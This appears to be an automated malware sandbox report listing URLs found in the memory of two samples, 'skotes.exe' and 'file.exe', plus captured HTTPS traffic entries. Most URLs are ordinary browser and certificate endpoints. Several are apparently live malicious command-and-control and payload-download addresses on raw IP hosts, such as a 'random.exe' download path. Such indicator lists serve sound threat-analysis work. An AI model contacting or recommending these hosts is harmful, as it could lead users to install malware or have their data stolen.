Source: skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php-
Source: skotes.exe, 00000026.00000002.3455388933.000000000127C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpnu
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpz
Source: skotes.exe, 00000026.00000002.3455388933.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe/
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1008496001
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe1008497001
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3
Source: skotes.exe, 00000026.00000002.3455388933.0000000001297000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe3b31:
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe506
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe50623
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe5062384760
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exe6
Source: skotes.exe, 00000026.00000002.3455388933.00000000012C5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/random.exeurlencodedlnZbl
Source: skotes.exe, 00000026.00000002.3455388933.00000000011FB000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exe
Source: skotes.exe, 00000026.00000002.3455388933.00000000011FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exe6
Source: skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exeaf
Source: skotes.exe, 00000026.00000002.3455388933.000000000126A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/rh.exeafc8506238476
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: chromecache_522.8.dr	String found in binary or memory: http://www.broofa.com
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2851700005.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2841044148.000000001D6A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: FIIEGDBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_522.8.dr	String found in binary or memory: https://apis.google.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.cn/resolver/
Source: 4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	String found in binary or memory: https://assets.msn.com
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://assets.msn.com/resolver/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://bit.ly/wb-precache
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://browser.events.data.msn.com/
Source: Reporting and NEL.15.dr	String found in binary or memory: https://bzib.nelreports.net/api/report?cat=bingbusiness
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://c.msn.com/
Source: FIIEGDBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: manifest.json.14.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: manifest.json.14.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: 4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	String found in binary or memory: https://clients2.google.com
Source: manifest.json0.14.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: 4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	String found in binary or memory: https://clients2.googleusercontent.com
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: Reporting and NEL.15.dr	String found in binary or memory: https://deff.nelreports.net/api/report
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: Reporting and NEL.15.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msnw
Source: manifest.json0.14.dr	String found in binary or memory: https://docs.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: manifest.json0.14.dr	String found in binary or memory: https://drive.google.com/
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2812126951.0000000001146000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	String found in binary or memory: https://edgeassetservice.azureedge.net
Source: 000003.log3.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/addressbar_uu_files.en-gb/1.0.2/asset?sv=2017-07-29&sr
Source: 000003.log3.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?assetgroup=Arbit
Source: 000003.log3.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr
Source: 000003.log10.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtrac
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_M365_light.png/1.7.32/asset
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset
Source: 000003.log3.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Sho
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_outlook_light.png/1.9.10/asset
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset
Source: HubApps Icons.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset
Source: 000003.log3.14.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/signal_triggers/1.13.3/asset?sv=2017-07-29&sr=c&sig=Nt
Source: chromecache_522.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey200-36dp/2x/gm_alert_gm_grey200_3
Source: chromecache_522.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/alert/v11/gm_grey600-36dp/2x/gm_alert_gm_grey600_3
Source: chromecache_522.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey200-24dp/1x/gm_close_gm_grey200_2
Source: chromecache_522.8.dr	String found in binary or memory: https://fonts.gstatic.com/s/i/googlematerialicons/close/v19/gm_grey600-24dp/1x/gm_close_gm_grey600_2
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s-msn-com.akamaized.net/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://img-s.msn.cn/tenant/amp/entityid/
Source: DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: Cookies.15.dr	String found in binary or memory: https://msn.comXID/
Source: Cookies.15.dr	String found in binary or memory: https://msn.comXIDv10
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.cn/edge/ntp
Source: 000003.log2.14.dr	String found in binary or memory: https://ntp.msn.com
Source: 000003.log.14.dr, 000003.log4.14.dr	String found in binary or memory: https://ntp.msn.com/
Source: 000003.log.14.dr	String found in binary or memory: https://ntp.msn.com/0
Source: QuotaManager.14.dr	String found in binary or memory: https://ntp.msn.com/_default
Source: 000003.log.14.dr, 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=288
Source: Session_13376861564348068.14.dr	String found in binary or memory: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&start
Source: QuotaManager.14.dr	String found in binary or memory: https://ntp.msn.com/ntp.msn.com_default
Source: 2cc80dabc69f58b6_0.14.dr	String found in binary or memory: https://ntp.msn.comService-Worker-Allowed:
Source: chromecache_522.8.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://sb.scorecardresearch.com/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.cn/
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://srtb.msn.com/
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates1.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates2.ss.wd.microsoft.us/
Source: edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.14.dr	String found in binary or memory: https://unitedstates4.ss.wd.microsoft.us/
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: FIIEGDBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: content_new.js.14.dr, content.js.14.dr	String found in binary or memory: https://www.google.com/chrome
Source: file.exe, 00000000.00000003.2566435873.000000002367E000.00000004.00000020.00020000.00000000.sdmp, FIIEGDBA.0.dr, Web Data.14.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: 4b23e3eb-7f01-495b-8013-853f0b64bb3c.tmp.15.dr	String found in binary or memory: https://www.googleapis.com
Source: chromecache_522.8.dr	String found in binary or memory: https://www.gstatic.com/gb/html/afbp.html
Source: chromecache_522.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_medium.css
Source: chromecache_522.8.dr	String found in binary or memory: https://www.gstatic.com/images/icons/material/anim/mspin/mspin_googcolor_small.css
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org#
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.bwSC1pmG_zle
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.hjKdHaZH-dbQ
Source: CBAKJKJJJECFIEBFHIEGHJDAFI.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: 2cc80dabc69f58b6_1.14.dr	String found in binary or memory: https://www.msn.com/web-notification-icon-light.png
Source: file.exe, 00000000.00000002.2844098891.00000000236D3000.00000004.00000020.00020000.00000000.sdmp, DGHCBAAEHCFIDGDHJEHC.0.dr	String found in binary or memory: https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
